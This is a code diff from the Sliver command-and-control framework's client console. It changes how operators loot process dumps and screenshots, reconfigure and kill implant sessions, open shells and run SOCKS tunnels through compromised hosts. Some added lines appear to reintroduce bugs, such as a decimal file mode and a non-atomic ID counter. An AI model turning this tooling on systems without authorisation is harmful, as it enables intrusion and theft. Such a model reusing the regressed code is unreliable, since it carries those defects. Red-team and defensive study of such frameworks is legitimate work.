dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
-4
View File
@@ -41,10 +41,6 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
-4
View File
@@ -1,4 +0,0 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
-96
View File
@@ -1,96 +0,0 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
+10 -38
View File
@@ -57,10 +57,6 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -69,31 +65,11 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
PrintScreenshot(screenshot, hostname, ctx, con)
})
con.PrintAsyncResponse(screenshot.Response)
} else {
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
@@ -112,7 +88,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -127,18 +103,14 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+1 -1
View File
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, ctx, con)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
@@ -1,8 +1,8 @@
package reconfig
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,16 +21,18 @@ package reconfig
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -44,23 +46,24 @@ func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
con.ActiveTarget.Set(session, nil)
}
+10 -47
View File
@@ -21,7 +21,6 @@ package sessions
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -52,7 +51,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -66,7 +65,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -82,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := kill.KillSession(session, ctx, con)
err := kill.KillSession(session, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -98,23 +97,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, filter, filterRegex, con)
PrintSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
@@ -122,7 +110,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
@@ -140,7 +128,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Last Message",
"Last Check-in",
"Health",
})
} else {
@@ -176,9 +164,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
}
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
@@ -188,9 +175,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
})
} else {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -198,31 +185,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
})
}
}
+2 -6
View File
@@ -68,12 +68,9 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -81,8 +78,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
defer tunnel.Close()
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Uint64("id")
socksID := ctx.Flags.Int("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+3 -21
View File
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -289,10 +289,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
exec.PrintSideload(sideload, hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -310,10 +309,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
@@ -360,14 +358,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintLs(ls, flags, "", con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
err := proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
err := proto.Unmarshal(task.Response, mkdir)
@@ -456,14 +446,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgCurrentTokenOwnerReq:
cto := &sliverpb.CurrentTokenOwner{}
err := proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
+6 -16
View File
@@ -26,6 +26,7 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -108,7 +109,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
@@ -194,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
@@ -214,14 +215,13 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
@@ -236,16 +236,6 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
-1
View File
@@ -167,7 +167,6 @@ const (
ExecuteStr = "execute"
LsStr = "ls"
MvStr = "mv"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
+7 -25
View File
@@ -1,23 +1,5 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io"
@@ -134,7 +116,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
defer cancel()
cancel()
}
if err != nil {
return
@@ -142,8 +124,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
conn.Close()
GetTunnels().Close(tunnel.ID)
go conn.Close()
Tunnels.Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -190,7 +172,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -203,7 +185,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -237,7 +219,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -250,7 +232,7 @@ func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+34 -70
View File
@@ -20,10 +20,11 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -36,16 +37,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[uint64]*SocksProxy{},
tcpProxies: map[int]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = (uint64)(0)
SocksProxyID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID uint64
ID int
SessionID string
BindAddr string
Username string
@@ -59,28 +60,14 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID uint64
ID int
ChannelProxy *TcpProxy
}
@@ -96,7 +83,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[uint64]*SocksProxy
tcpProxies map[int]*SocksProxy
mutex *sync.RWMutex
}
@@ -104,7 +91,6 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -115,56 +101,49 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
if err != nil {
return err
}
go func() {
for {
for !tcpProxy.stopChan {
FromImplantSequence := 0
socksData, err := proxy.Recv()
p, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := conn.Write(socksData.Data)
_, err := n.Write(p.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for {
connection, err := tcpProxy.Listener.Accept()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
if err != nil {
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
return err
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
log.Printf("Failed rcp call to create socks %s\n", err)
break
fmt.Println(err)
return err
}
go connect(connection, proxy, &sliverpb.SocksData{
go connect(l, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -172,18 +151,17 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
tcpProxy.Listener.Close()
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId uint64) bool {
func (f *socksProxy) Remove(socksId int) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.Stop()
f.tcpProxies[socksId].ChannelProxy.stopChan = true
delete(f.tcpProxies, socksId)
return true
}
@@ -201,8 +179,9 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -213,19 +192,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -233,12 +199,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
if err == io.EOF {
return
}
continue
}
if n > 0 {
frame.Data = buff[:n]
@@ -246,7 +211,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+112 -44
View File
@@ -1,54 +1,130 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
